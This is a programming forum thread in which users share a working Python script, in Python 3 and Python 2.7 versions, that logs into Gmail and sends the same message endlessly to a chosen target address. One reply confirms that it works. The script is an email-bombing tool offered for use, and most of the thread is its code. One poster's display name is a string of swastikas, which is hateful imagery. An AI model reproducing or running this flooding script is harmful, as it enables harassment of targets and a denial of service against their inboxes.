Show DevBest [PY] Repeatedly send e-mails

Sway

Ruby and Python are married.
Dec 19, 2010
194
76
I wrote this script because I wanted to learn more how all of this SMPT stuff works. It basically allows you to send infinite e-mails (or at least until it crashes) to a specific e-mail address. You must first enter your gmail information.

Python 3.x:


Code:
Code:
import smtplib, getpass

email = input("email>")
pwd = getpass.getpass("pwd>")

#connection to gmail
o = smtplib.SMTP("smtp.gmail.com:587")
o.starttls()
o.login(email, pwd)

print("--" * 40)

msg = (input("msg>"))
target_email = input("target e-mail>")

#send the message until the program crashes
while True:
    o.sendmail(email, target_email, msg)
    print()
    print("Message sent.")

Thanks.
 
Last edited:

Brackson

卍卍卍卍卍卍卍卍卍卍卍
Jun 20, 2013
262
46
So everyone's inbox is fucked....great. Nice little release but still...
Your post made no sense. Most email providers block emails like this (spam), and even if they don't you can mark them as spam yourself.

Excellent release. Might come in handy when I'm trying to understand SMTP with Python as well! :p
 

Sway

Ruby and Python are married.
Dec 19, 2010
194
76
Thanks. I tried making it for Hotmail and it didn't work. If anyone knows about that, let me know.
 

Brackson

卍卍卍卍卍卍卍卍卍卍卍
Jun 20, 2013
262
46
This may be gravedigging, but here's a version that's compatible with 2.7.6.

PHP:
import smtplib, getpass

email = raw_input("email>")
pwd = getpass.getpass("pwd>")

#connection to gmail
o = smtplib.SMTP("smtp.gmail.com:587")
o.starttls()
o.login(email, pwd)

print("--" * 40)

msg = raw_input("msg>")
target_email = raw_input("target e-mail>")

#send the message until the program crashes
while True:
    o.sendmail(email, target_email, msg)
    print()
    print("Message sent.")

I can also confirm that this works.

 
Last edited:

Users who are viewing this thread

Top